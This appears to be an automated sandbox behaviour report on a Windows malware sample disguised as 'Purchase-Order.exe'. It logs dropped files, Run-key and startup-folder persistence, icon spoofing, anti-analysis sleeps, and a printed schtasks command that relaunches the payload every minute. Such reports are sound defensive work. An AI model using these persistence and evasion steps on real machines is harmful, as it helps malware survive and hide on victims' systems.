Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: propsys.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Section loaded: propsys.dll

Source: C:\Users\user\Desktop\Purchase-Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: LMDNDG.lnk.1.dr

LNK file: ..\..\..\..\..\Windata\OJTLMJ.exe

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\ECBPMWm.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: Purchase-Order.exe

Static file information: File size 2205184 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: Purchase-Order.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x16fe00

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00DA20F6 LoadLibraryA,GetProcAddress,

8_2_00DA20F6

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D9020C pushfd ; retf	8_2_00D90215
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00DAC6CC push esi; ret	8_2_00DAC6CE
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6CB5D push edi; ret	8_2_00D6CB5F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6CC76 push esi; ret	8_2_00D6CC78
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6CE51 push esi; ret	8_2_00D6CE53
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6CF3A push edi; ret	8_2_00D6CF3C
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D67795 push ecx; ret	8_2_00D677A8
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8BB9D push FFFFFF8Bh; iretd	8_2_00D8BB9F

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\Purchase-Order.exe	File created: C:\ProgramData\Synaptics\RCX600B.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\Purchase-Order.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	File created: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\Purchase-Order.exe	File created: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Purchase-Order.exe	File created: C:\ProgramData\Synaptics\RCX600B.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\Purchase-Order.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LMDNDG.lnk

Jump to behavior

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LMDNDG.lnk

Jump to behavior

Source: C:\Users\user\Desktop\Purchase-Order.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LMDNDG	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LMDNDG	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon (2112).png

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D5F78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		8_2_00D5F78E
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00DA7F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		8_2_00DA7F0E

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D61E5A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00D61E5A

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Purchase-Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Window / User API: threadDelayed 4992			Jump to behavior
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Window / User API: foregroundWindowGot 1467			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

API coverage: 3.8 %

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe TID: 6832	Thread sleep time: -49920s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7064	Thread sleep time: -11220000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 6188	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Last function: Thread delayed
Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

Thread sleep count: Count: 4992 delay: -10

Jump to behavior

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, type: DROPPED

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D92044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00D92044
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D9219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00D9219F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D924A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00D924A9
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D86B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	8_2_00D86B3F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D86E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	8_2_00D86E4A
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8F350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00D8F350
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8FDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	8_2_00D8FDD2
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D5DD92 GetFileAttributesW,FindFirstFileW,FindClose,	8_2_00D5DD92
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8FD47 FindFirstFileW,FindClose,	8_2_00D8FD47

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D5E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

8_2_00D5E47B

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Purchase-Order.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Purchase-Order.exe, 00000000.00000003.1702576403.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\4[]
